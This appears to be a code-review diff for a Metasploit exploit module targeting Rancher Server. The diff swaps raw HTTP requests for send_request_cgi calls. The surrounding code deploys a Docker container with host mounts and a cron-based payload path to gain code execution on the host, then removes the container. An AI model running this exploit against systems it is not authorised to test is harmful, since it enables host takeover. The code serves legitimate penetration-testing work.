Use send_request_cgi instead of raw

Author: mpizala

modules/exploits/linux/http/rancher_server.rb

@@ -59,10 +59,11 @@ def initialize(info = {})
   end
 
   def del_container(rancher_container_id, container_id)
-    res = send_request_raw(
+    res = send_request_cgi(
       'method'  => 'DELETE',
-      'headers' => { 'Accept' => 'application/json' },
-      'uri'     => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', rancher_container_id)
+      'uri'     => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', rancher_container_id),
+      'ctype'   => 'application/json',
+      'headers' => { 'Accept' => 'application/json' }
     )
     return vprint_good('The docker container has been removed.') if res && res.code == 200
 
@@ -105,9 +106,10 @@ def make_container(mnt_path, cron_path, payload_path, container_id)
   end
 
   def check
-    res = send_request_raw(
+    res = send_request_cgi(
       'method'  => 'GET',
       'uri'     => normalize_uri(target_uri.path),
+      'ctype'   => 'application/json',
       'headers' => { 'Accept' => 'application/json' }
     )
 
@@ -127,9 +129,10 @@ def check
 
       environments = JSON.parse(res.body)['data']
       environments.each do |e|
-        res = send_request_raw(
+        res = send_request_cgi(
           'method'  => 'GET',
           'uri'     => normalize_uri(target_uri.path, e['id'], 'hosts'),
+          'ctype'   => 'application/json',
           'headers' => { 'Accept' => 'application/json' }
         )
 
@@ -179,10 +182,11 @@ def exploit
     container_id = make_container_id
 
     # deploy docker container
-    res = send_request_raw(
+    res = send_request_cgi(
       'method'  => 'POST',
       'uri'     => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers'),
-      'headers' => { 'Accept' => 'application/json', 'Content-Type' => 'application/json' },
+      'ctype'   => 'application/json',
+      'headers' => { 'Accept' => 'application/json' },
       'data'    => make_container(mnt_path, cron_path, payload_path, container_id).to_json
     )
     fail_with(Failure::Unknown, 'Failed to create the docker container') unless res && res.code == 201
@@ -203,9 +207,10 @@ def exploit
       sleep(sleep_time)
       wait_time -= sleep_time
 
-      res = send_request_raw(
+      res = send_request_cgi(
         'method'  => 'GET',
         'uri'     => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', '?name=' + container_id),
+        'ctype'   => 'application/json',
         'headers' => { 'Accept' => 'application/json' }
       )
       next unless res.code == 200 and res.body.include? 'stopped'